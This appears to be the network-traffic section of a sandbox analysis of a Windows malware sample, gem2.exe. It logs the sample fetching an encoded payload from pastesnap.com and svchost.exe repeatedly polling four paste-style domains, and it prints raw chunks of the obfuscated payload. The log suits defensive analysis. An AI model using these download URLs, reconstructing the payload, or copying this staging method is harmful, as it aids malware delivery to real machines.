cfL4;desc="?proto=TCP&rtt=1603&min_rtt=1603&rtt_var=801&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.7	50387	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:26.566898108 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:27:27.024802923 CET	860	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:26 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:26 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o%2F0d5feoSqZzLDCwwxYpL0ispsiVy0dFoN0AQD9mrhrBwyvtBpWNcKwkA56%2B53o0xBEdDw7wFEy2DggOPeZ6Q7lyp5CJta7E46RqB%2BI7ztsxP1ipLqsHwIGEO1g2bGuZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc47588634314-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1650&min_rtt=1650&rtt_var=825&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=186&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.7	50392	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:27.032485962 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:27:27.488215923 CET	867	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:27 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:27 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lsMiMSUaKni8vzRXxZz2KX7AdvQHk71hbFLxZJImKwy85dsJHecmOJqeNNHgKqInv7TbV%2BGng70ROd0WDjfK3B4041E4LTrr8WdiZFD9jZ3Diqg0fn7jlPD4Ru7IeFjucNeu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc478788b4339-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1603&min_rtt=1603&rtt_var=801&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=225&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.7	50394	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:27.379749060 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:27:27.852879047 CET	878	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:27 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:27 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G0Y5hkz2FitN%2B%2FCf2juUCGvncHNlQjJD3YF2RtZuv6kY76P0JDWJw6tdkCfdOs9%2FH2wRPuhshQ1ZcF9Vkbq5u94zNgtSys1rxHX%2B%2Bbk802%2BCg1RvHOlVyU7BjTDrsuZC1U0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc47abbf48c33-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1888&min_rtt=1888&rtt_var=944&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=243&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.7	50396	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:27.494734049 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:27:27.941625118 CET	877	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:27 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:27 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0qJXRNvLgfFgrLUO%2FDN4rx6NKU9cpzcZfbwBeqVLSUqWRHXd%2Bd7ldSHB3ucDoJoZH9VRMVDCHI0%2BMHSEeQcNUphbVwP3fDFriA9iHfKAgi5s%2BEtuYRc810x1RAvTP6dnFEL8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc47b5fdc7c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1942&min_rtt=1942&rtt_var=971&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=216&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.7	50398	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:27.859731913 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:27:28.325730085 CET	864	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:28 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:28 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3wD9v6Ax8SJIQ757D6rC68M0pgIK6Cc3y2Khq4vxg6OPurIhp2%2FonMEsRN6cOQ%2F6020hmWfAHZLYZe10T%2BWVN%2ByCYaAp93PDCzEUqf4v2uyIubRoQfkHs5%2BNVvtfUlPx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc47dac804258-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1892&min_rtt=1892&rtt_var=946&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=179&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.7	50403	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:28.335030079 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:27:28.793081999 CET	877	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:28 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:28 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pnckGmeXwpnAOmIHBfJofuOJNV2yI5T%2F17FD%2Bm5SafNbnKox4BfUfAxCB%2Be%2BqoSFcHGiQuJ3%2BAIbjzG%2F7ZmVqpufCXMrmkLFBIR6xGA7rhWYwhCZMYFwd6LhvQTRnYiPBEzb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc4809cad426b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1735&min_rtt=1735&rtt_var=867&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=230&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.7	50405	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:28.429495096 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:27:28.911421061 CET	872	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:28 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:28 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C104iSGBORZwaxnmdbbY%2BXiZml6vlO%2FxQIOYgLvCHdF6K1Xjuyz9dKUzakmTuONNOP20TKjydBnRJdCIen0Y13wu9cgy0enSIKzwqecPFcifdZ2YKG5PNarYY180qtBpK%2F4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc4815c99efa5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1968&min_rtt=1968&rtt_var=984&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=210&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.7	50407	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:28.799590111 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:27:29.259738922 CET	877	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:29 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:29 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ctwUOpPA7dEcUcqQuf3%2BZvZjpwNRxH5W03rIFtRAp%2Fno0P0D9PxypmcdpsK03HOFep7boIhlHrlC3ce%2F%2FWcwLAmDw6e79B9rzR1SCpfj7SG8228it8rZQGEQEmYS3CsSizBN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc4838897c358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1666&min_rtt=1666&rtt_var=833&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=153&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.7	50409	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:28.918548107 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:27:29.373922110 CET	862	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:29 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:29 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DkG6oBmvndZOfjJZRqYHT25rFuTkutHBSEs8A1TZJAk3Mw6Q1DxBhMe7%2B8UIZTEjdDTBFwl1%2BNFWxtDBeULiqjog%2FSet75UOxZmhU%2BCP5IZ4PQqPKIGMgg2tiQMskirK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc4843a7d43b8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1772&min_rtt=1772&rtt_var=886&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=231&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49702	104.21.60.172	443	2692	C:\Users\user\Desktop\gem2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 08:26:20 UTC	110	OUT	GET /STB/cGFzdGVzbmFwM.txt HTTP/1.1 User-Agent: URL Checker Host: pastesnap.com Cache-Control: no-cache
2025-01-12 08:26:20 UTC	925	IN	HTTP/1.1 200 OK Date: Sun, 12 Jan 2025 08:26:20 GMT Content-Type: text/plain Transfer-Encoding: chunked Connection: close Last-Modified: Sat, 11 Jan 2025 00:57:39 GMT ETag: W/"804395cfc363db1:0" Vary: Accept-Encoding X-Powered-By: ASP.NET X-Powered-By-Plesk: PleskWin cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aLRj8%2FeF%2FjAIk7mJ5mmESpxdbP8ZfImkQBbj3MlabWh6fQn5V26oFWHOA8qmKwhFaN%2Bu1YSTOmc737sQclqIazTNdXxzykQIS%2BDN22otu48HLS%2BC2AhuPVfHJS%2FdWVF0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc2d75ecd0cb4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1606&min_rtt=1604&rtt_var=607&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=748&delivery_rate=1795817&cwnd=245&unsent_bytes=0&cid=721699ad11dd7434&ts=1129&x=0"
2025-01-12 08:26:20 UTC	444	IN	Data Raw: 34 62 31 62 0d 0a 49 53 2f 2b 59 57 39 31 62 6d 46 6f 64 57 35 68 6b 34 70 75 59 64 52 31 62 6d 46 73 64 57 35 68 4c 48 56 75 59 57 78 31 62 6d 46 73 64 57 35 68 62 48 56 75 59 57 78 31 62 6d 46 73 64 57 35 68 62 48 56 75 59 57 78 31 62 6d 46 73 64 57 35 68 37 48 56 75 59 57 4a 71 31 47 39 73 77 57 65 73 54 63 31 76 4c 61 46 55 4f 67 6b 46 42 6b 34 52 48 68 6f 4a 45 77 30 59 54 67 49 4e 47 77 41 4f 47 46 55 4d 42 45 77 48 47 77 39 4d 48 41 42 42 4b 44 6f 39 51 51 45 61 43 67 52 43 65 47 4e 72 53 48 56 75 59 57 78 31 62 6d 45 38 4d 47 35 68 43 50 4e 6e 59 57 69 31 37 77 5a 73 64 57 35 68 62 48 56 75 59 5a 78 31 54 47 46 6e 64 32 42 49 62 43 74 73 59 57 79 68 62 6d 46 73 64 57 35 68 4c 5a 49 66 59 57 78 6c 62 6d 46 73 64 57 34 68 62 58 56 75 59 57 78 6c 62 Data Ascii: 4b1bIS/+YW91bmFodW5hk4puYdR1bmFsdW5hLHVuYWx1bmFsdW5hbHVuYWx1bmFsdW5hbHVuYWx1bmFsdW5h7HVuYWJq1G9swWesTc1vLaFUOgkFBk4RHhoJEw0YTgINGwAOGFUMBEwHGw9MHABBKDo9QQEaCgRCeGNrSHVuYWx1bmE8MG5hCPNnYWi17wZsdW5hbHVuYZx1TGFnd2BIbCtsYWyhbmFsdW5hLZIfYWxlbmFsdW4hbXVuYWxlb
2025-01-12 08:26:20 UTC	1369	IN	Data Raw: 78 31 62 6d 46 73 64 57 35 68 78 4b 77 66 59 55 52 31 62 6d 47 63 50 71 39 68 4c 48 52 75 59 57 78 31 62 6d 46 73 64 57 35 68 62 4e 55 65 59 61 78 32 62 6d 46 73 64 57 35 68 62 48 56 75 59 57 78 31 62 6d 46 73 64 57 35 68 62 48 56 75 59 57 78 31 62 6d 46 43 41 51 73 5a 47 48 56 75 59 65 51 70 62 47 46 73 5a 57 35 68 62 48 56 75 59 57 78 31 62 6d 46 73 64 57 35 68 62 48 56 75 59 57 78 31 62 6d 46 4d 64 57 34 42 51 67 63 4b 41 42 67 55 62 6d 45 30 31 32 35 68 62 41 56 73 59 57 78 31 62 6d 46 73 64 57 35 68 62 48 56 75 59 57 78 31 62 6d 46 73 64 57 35 68 4c 48 56 75 49 55 49 52 44 78 55 4e 64 57 35 68 4c 47 5a 75 59 57 78 56 62 57 46 73 64 57 35 68 62 48 56 75 59 57 78 31 62 6d 46 73 64 57 35 68 62 48 56 75 59 53 78 31 62 71 46 43 42 51 6f 41 47 42 52 75 59 Data Ascii: x1bmFsdW5hxKwfYUR1bmGcPq9hLHRuYWx1bmFsdW5hbNUeYax2bmFsdW5hbHVuYWx1bmFsdW5hbHVuYWx1bmFCAQsZGHVuYeQpbGFsZW5hbHVuYWx1bmFsdW5hbHVuYWx1bmFMdW4BQgcKABgUbmE0125hbAVsYWx1bmFsdW5hbHVuYWx1bmFsdW5hLHVuIUIRDxUNdW5hLGZuYWxVbWFsdW5hbHVuYWx1bmFsdW5hbHVuYSx1bqFCBQoAGBRuY
2025-01-12 08:26:20 UTC	1369	IN	Data Raw: 68 62 48 56 75 59 65 78 41 31 57 46 73 64 57 35 68 39 41 76 56 59 57 78 31 62 6d 47 79 6d 74 4a 68 62 48 56 75 59 54 53 35 30 32 46 73 64 57 35 68 34 75 50 53 59 57 78 31 62 6d 46 34 4d 39 4e 68 62 48 56 75 59 54 6a 6b 72 6d 46 73 64 57 35 68 4f 6f 4c 55 59 57 78 31 62 6d 48 4b 36 74 56 68 62 48 56 75 59 61 70 56 30 6d 46 73 64 57 35 68 50 49 72 53 59 57 78 31 62 6d 47 34 55 4b 35 68 62 48 56 75 59 64 70 61 30 57 46 73 64 57 35 68 56 47 4c 51 59 57 78 31 62 6d 46 73 64 57 35 68 62 48 56 75 59 57 78 63 30 57 46 73 64 57 35 68 45 49 2f 53 59 57 78 31 62 6d 45 38 59 74 4a 68 62 48 56 75 59 5a 59 71 48 32 46 73 64 57 35 68 75 73 50 56 59 57 78 31 62 6d 46 73 64 57 35 68 62 48 56 75 59 59 49 6e 72 6d 46 73 64 57 35 68 35 71 63 66 59 57 78 31 62 6d 47 67 41 64 Data Ascii: hbHVuYexA1WFsdW5h9AvVYWx1bmGymtJhbHVuYTS502FsdW5h4uPSYWx1bmF4M9NhbHVuYTjkrmFsdW5hOoLUYWx1bmHK6tVhbHVuYapV0mFsdW5hPIrSYWx1bmG4UK5hbHVuYdpa0WFsdW5hVGLQYWx1bmFsdW5hbHVuYWxc0WFsdW5hEI/SYWx1bmE8YtJhbHVuYZYqH2FsdW5husPVYWx1bmFsdW5hbHVuYYInrmFsdW5h5qcfYWx1bmGgAd
2025-01-12 08:26:20 UTC	1369	IN	Data Raw: 70 5a 2b 54 69 70 48 62 54 52 38 5a 7a 30 57 6c 43 58 38 46 68 50 6b 2f 33 52 77 42 74 32 30 73 38 64 66 46 74 46 48 33 4a 58 56 42 74 6f 31 38 57 56 39 64 7a 4a 6e 2f 65 4c 31 37 76 35 6f 76 77 64 55 49 6a 57 73 66 73 68 42 68 35 65 43 79 4b 36 67 71 33 31 45 56 38 4c 49 7a 78 36 70 6f 4b 55 33 34 76 51 6c 6b 4a 72 72 51 6e 35 4f 4b 4d 33 33 70 42 31 70 70 31 71 61 79 65 6f 4d 42 62 6d 46 73 64 65 34 63 2b 63 35 2b 75 76 56 41 4d 5a 64 46 31 41 47 6d 64 77 30 68 53 78 38 52 54 45 69 4e 66 78 78 75 78 6b 5a 30 64 45 68 42 5a 71 45 30 72 61 2b 75 4e 2f 37 71 4f 37 37 71 57 6d 42 73 64 57 36 5a 2b 55 65 4e 4a 53 31 30 62 6d 46 78 61 79 78 72 79 50 6a 73 78 31 58 79 2b 44 79 32 41 35 41 78 46 52 4d 68 50 47 6c 5a 58 58 75 79 75 2b 42 44 2b 7a 49 36 67 51 75 Data Ascii: pZ+TipHbTR8Zz0WlCX8FhPk/3RwBt20s8dfFtFH3JXVBto18WV9dzJn/eL17v5ovwdUIjWsfshBh5eCyK6gq31EV8LIzx6poKU34vQlkJrrQn5OKM33pB1pp1qayeoMBbmFsde4c+c5+uvVAMZdF1AGmdw0hSx8RTEiNfxxuxkZ0dEhBZqE0ra+uN/7qO77qWmBsdW6Z+UeNJS10bmFxayxryPjsx1Xy+Dy2A5AxFRMhPGlZXXuyu+BD+zI6gQu
2025-01-12 08:26:20 UTC	1369	IN	Data Raw: 38 6c 37 73 77 4b 63 75 35 6e 66 4c 72 6c 54 77 6b 7a 38 67 66 64 4f 48 70 50 46 4c 46 73 42 70 36 61 68 6b 78 4b 45 52 42 48 51 5a 72 46 37 69 72 58 50 4c 36 50 4c 6b 4a 36 54 63 49 71 38 74 67 51 6b 7a 6e 32 77 52 71 72 6d 52 41 6f 73 77 67 34 4b 6f 44 59 61 66 43 6b 4f 39 4b 34 4b 41 32 52 36 71 70 4b 4b 6b 5a 35 54 37 68 6d 62 48 6b 6b 4b 77 36 5a 42 34 72 75 50 67 58 4a 44 35 79 46 44 4f 2f 38 4a 79 30 4f 33 47 59 74 4c 37 71 6c 62 36 33 34 42 41 79 74 50 4d 65 48 47 4e 36 50 6b 6e 48 70 78 35 6d 61 33 63 33 4f 73 48 65 6e 5a 44 6b 39 54 45 2b 78 74 6b 52 61 4f 65 47 73 38 58 4a 72 42 5a 72 48 5a 4f 36 48 66 6b 6f 71 52 6c 32 7a 74 67 43 51 53 59 50 67 4c 64 67 45 4c 72 4e 46 70 46 62 67 72 74 57 77 74 4f 79 31 79 55 51 50 6d 79 49 4b 6a 35 59 4b 50 Data Ascii: 8l7swKcu5nfLrlTwkz8gfdOHpPFLFsBp6ahkxKERBHQZrF7irXPL6PLkJ6TcIq8tgQkzn2wRqrmRAoswg4KoDYafCkO9K4KA2R6qpKKkZ5T7hmbHkkKw6ZB4ruPgXJD5yFDO/8Jy0O3GYtL7qlb634BAytPMeHGN6PknHpx5ma3c3OsHenZDk9TE+xtkRaOeGs8XJrBZrHZO6HfkoqRl2ztgCQSYPgLdgELrNFpFbgrtWwtOy1yUQPmyIKj5YKP
2025-01-12 08:26:20 UTC	1369	IN	Data Raw: 2b 6a 32 76 6f 42 51 51 61 6c 46 63 6d 73 48 6d 46 73 64 57 34 67 76 4b 2b 70 2b 37 34 4d 47 79 6b 4e 43 38 6a 42 52 5a 50 78 69 53 33 72 47 43 6e 4e 61 2b 6b 42 56 51 74 49 6c 47 31 76 70 42 42 33 42 61 61 46 76 65 38 63 6a 33 2b 61 5a 6c 56 31 49 46 54 6e 42 2f 49 57 67 76 57 58 4c 50 38 76 61 67 61 46 62 62 68 54 6e 4e 55 46 4c 6d 42 73 64 57 34 46 77 53 65 58 4e 4e 53 6c 51 4f 59 30 39 65 69 2b 39 4e 54 59 54 79 52 31 77 44 61 4d 66 56 67 75 56 50 57 34 4c 73 51 30 6b 4a 61 55 52 4c 42 48 66 48 78 41 78 68 45 68 74 6a 62 67 6f 39 4e 6b 52 57 6d 35 6e 69 68 62 57 34 54 46 32 57 37 2b 7a 2f 74 62 56 4b 55 78 49 65 59 33 38 33 54 73 62 5a 46 6d 45 39 6e 4d 48 69 46 74 64 57 35 68 51 4a 42 30 30 42 5a 56 42 71 63 44 78 55 59 76 65 79 55 58 42 37 4e 39 6e Data Ascii: +j2voBQQalFcmsHmFsdW4gvK+p+74MGykNC8jBRZPxiS3rGCnNa+kBVQtIlG1vpBB3BaaFve8cj3+aZlV1IFTnB/IWgvWXLP8vagaFbbhTnNUFLmBsdW4FwSeXNNSlQOY09ei+9NTYTyR1wDaMfVguVPW4LsQ0kJaURLBHfHxAxhEhtjbgo9NkRWm5nihbW4TF2W7+z/tbVKUxIeY383TsbZFmE9nMHiFtdW5hQJB00BZVBqcDxUYveyUXB7N9n
2025-01-12 08:26:20 UTC	1369	IN	Data Raw: 63 62 2b 2b 36 7a 6c 32 74 4f 4b 77 59 66 38 33 4f 57 69 32 50 6c 47 42 4c 43 53 69 75 30 6f 75 52 6e 6d 70 31 42 32 63 73 43 65 34 4e 68 2b 62 74 69 73 30 75 67 70 72 67 78 69 34 71 70 56 51 56 45 58 35 58 6d 34 52 78 70 72 57 71 6b 6f 71 52 6e 74 35 4f 67 46 49 64 79 35 43 65 6b 36 73 4e 4c 57 2b 35 73 6b 68 4a 33 70 46 74 50 2b 58 73 5a 39 58 62 4b 6e 77 33 50 36 75 55 6b 78 4f 37 52 65 42 31 34 5a 32 2b 44 70 70 72 68 67 65 4a 41 51 55 57 45 41 4a 48 76 65 65 44 4e 6e 54 31 77 66 6b 70 33 62 76 5a 61 78 78 65 36 36 51 32 39 71 4e 38 6a 37 34 72 56 4c 59 4f 53 2f 7a 65 78 6c 4b 73 33 71 36 36 39 71 43 6a 76 2f 6f 76 4a 75 69 38 76 72 34 34 64 5a 32 75 61 6c 77 53 78 64 68 56 76 62 6b 32 59 50 75 7a 52 57 63 77 71 50 56 75 74 2f 38 36 78 47 65 62 6e 51 Data Ascii: cb++6zl2tOKwYf83OWi2PlGBLCSiu0ouRnmp1B2csCe4Nh+btis0ugprgxi4qpVQVEX5Xm4RxprWqkoqRnt5OgFIdy5Cek6sNLW+5skhJ3pFtP+XsZ9XbKnw3P6uUkxO7ReB14Z2+DpprhgeJAQUWEAJHveeDNnT1wfkp3bvZaxxe66Q29qN8j74rVLYOS/zexlKs3q669qCjv/ovJui8vr44dZ2ualwSxdhVvbk2YPuzRWcwqPVut/86xGebnQ
2025-01-12 08:26:20 UTC	1369	IN	Data Raw: 42 61 4c 72 76 55 2b 68 33 35 4b 4b 6b 57 66 42 63 43 57 42 74 7a 32 73 63 58 56 7a 4c 6d 30 54 36 6f 69 71 6b 6f 71 52 6e 73 57 64 58 71 4c 6a 35 78 57 6c 51 48 2f 34 6c 51 42 2f 2f 4e 69 64 65 6e 33 35 58 43 6e 56 79 6b 34 43 30 4a 2b 54 69 73 51 42 49 73 42 42 31 72 30 38 67 4e 34 36 6b 58 4b 64 68 4d 56 47 4c 38 74 74 6e 2b 37 2f 76 6a 31 55 77 58 38 31 30 79 79 73 35 69 41 5a 43 67 78 65 52 71 64 63 79 2b 63 35 49 78 5a 73 64 57 37 68 45 33 74 71 65 47 69 42 33 33 76 70 67 37 59 77 70 4e 63 4c 4c 42 74 31 62 6d 46 73 66 61 54 71 42 4c 45 42 66 4c 71 4c 58 49 34 4c 58 4f 2b 75 35 56 41 68 6c 30 30 74 51 52 62 64 62 43 6b 2f 46 5a 56 70 54 31 32 38 6b 55 5a 4e 2f 54 6c 2f 4c 36 4e 48 30 4c 73 36 53 68 33 35 58 36 31 51 78 49 77 50 5a 6f 4a 70 36 37 55 Data Ascii: BaLrvU+h35KKkWfBcCWBtz2scXVzLm0T6oiqkoqRnsWdXqLj5xWlQH/4lQB//Niden35XCnVyk4C0J+TisQBIsBB1r08gN46kXKdhMVGL8ttn+7/vj1UwX810yys5iAZCgxeRqdcy+c5IxZsdW7hE3tqeGiB33vpg7YwpNcLLBt1bmFsfaTqBLEBfLqLXI4LXO+u5VAhl00tQRbdbCk/FZVpT128kUZN/Tl/L6NH0Ls6Sh35X61QxIwPZoJp67U
